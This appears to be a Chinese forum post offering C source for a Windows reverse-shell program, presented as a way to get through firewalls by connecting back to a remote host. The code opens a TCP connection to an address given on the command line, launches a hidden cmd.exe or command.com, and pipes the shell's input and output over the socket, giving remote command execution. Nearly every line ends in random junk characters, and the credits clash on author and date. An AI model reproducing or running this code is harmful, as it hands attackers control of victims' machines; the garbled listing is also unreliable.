这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |[/XG2S
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/* ============================== wFL7JwK:G
Rebound port in Windows NT ]#FQde4]5
By wind,2006/7 kxY9[#:<fB
===============================*/ ;l@Ge`&u
#include <+<,$jGC-
#include v +?'/Q%
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#pragma comment(lib,"wsock32.lib") )Y=ti~?M(
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void OutputShell(); 7"])Y
SOCKET sClient; 1=jwJv.^/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #]wBXzu?
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void main(int argc,char **argv) cMAY8$
{ =A/$[POr
WSADATA stWsaData; <ZoMKUuB
int nRet; ^%33&<mB}
SOCKADDR_IN stSaiClient,stSaiServer; 6.3qux9
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if(argc != 3) -D_xA10
{ jXyK[q&O&
printf("Useage:\n\rRebound DestIP DestPort\n"); kl5Y{![/&f
return; RXhT{Ho(>
} :rN5HOg^9
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WSAStartup(MAKEWORD(2,2),&stWsaData); *,XT;h$'>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [ldx_+xa:E
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stSaiClient.sin_family = AF_INET; |OBZSk1jp
stSaiClient.sin_port = htons(0); 'R n\CMTH
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &c81q2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %wmbFj}
{ o5w =
printf("Bind Socket Failed!\n"); \r\wqz7
return; u< 5{H='6
} ?Aky!43
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stSaiServer.sin_family = AF_INET; aN"dk-eK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xcXnd"YYE
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9P-I)ZqL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %uy?@ e
{ fSm|anuKZe
printf("Connect Error!"); ia%U;M
return; '# J/e0o@
} b5UIX Kim
OutputShell(); g;</ |Z
} pIvr*UzY
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void OutputShell() _I#a`G
{ iaQ3mk#
char szBuff[1024]; 2NWQiSz
SECURITY_ATTRIBUTES stSecurityAttributes; R-BN}ZS
OSVERSIONINFO stOsversionInfo; m)xz_Plc
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !;&{Q^}
STARTUPINFO stStartupInfo; l|
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char *szShell; PA${<wyBR_
PROCESS_INFORMATION stProcessInformation; zWq&HBs
unsigned long lBytesRead; ID$%4jl
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c8qwsp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Znh)m
stSecurityAttributes.lpSecurityDescriptor = 0; W0N*c*k
stSecurityAttributes.bInheritHandle = TRUE; _!E/em
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TM`6:5ONv
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w?A6S-z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tD3v`Ke
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [O^mG
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stStartupInfo.wShowWindow = SW_HIDE; <FU1|
stStartupInfo.hStdInput = hReadPipe; =_9grF-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4*_. m9{
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GetVersionEx(&stOsversionInfo); 9{n?Jy
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switch(stOsversionInfo.dwPlatformId) A&qZ:&(OM
{ l=ZX9<3
case 1: JReJlDu
szShell = "command.com"; } !RBH(m%
break; 8H2A<&3i
default: a3E.rr;b
szShell = "cmd.exe"; }Uunlz<
break; LE4P$%>H
} tLe"i>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bRK[u\,
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send(sClient,szMsg,77,0); '645Fr[lg
while(1) WRfhxl
{ 3^p;'7x
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vi\kB%
if(lBytesRead) ./E<v
{ u75(\<{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >iFi~)i_4y
send(sClient,szBuff,lBytesRead,0); GF^?#Jh
} >`D$Jz,
else 5TVA1
{ Lsz)\yIPj
lBytesRead=recv(sClient,szBuff,1024,0); Jnf@u
if(lBytesRead<=0) break; n*vhCeL
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ox}a\B8
} PitDk
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} {qPu}?0
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return; w]Z:Y`
}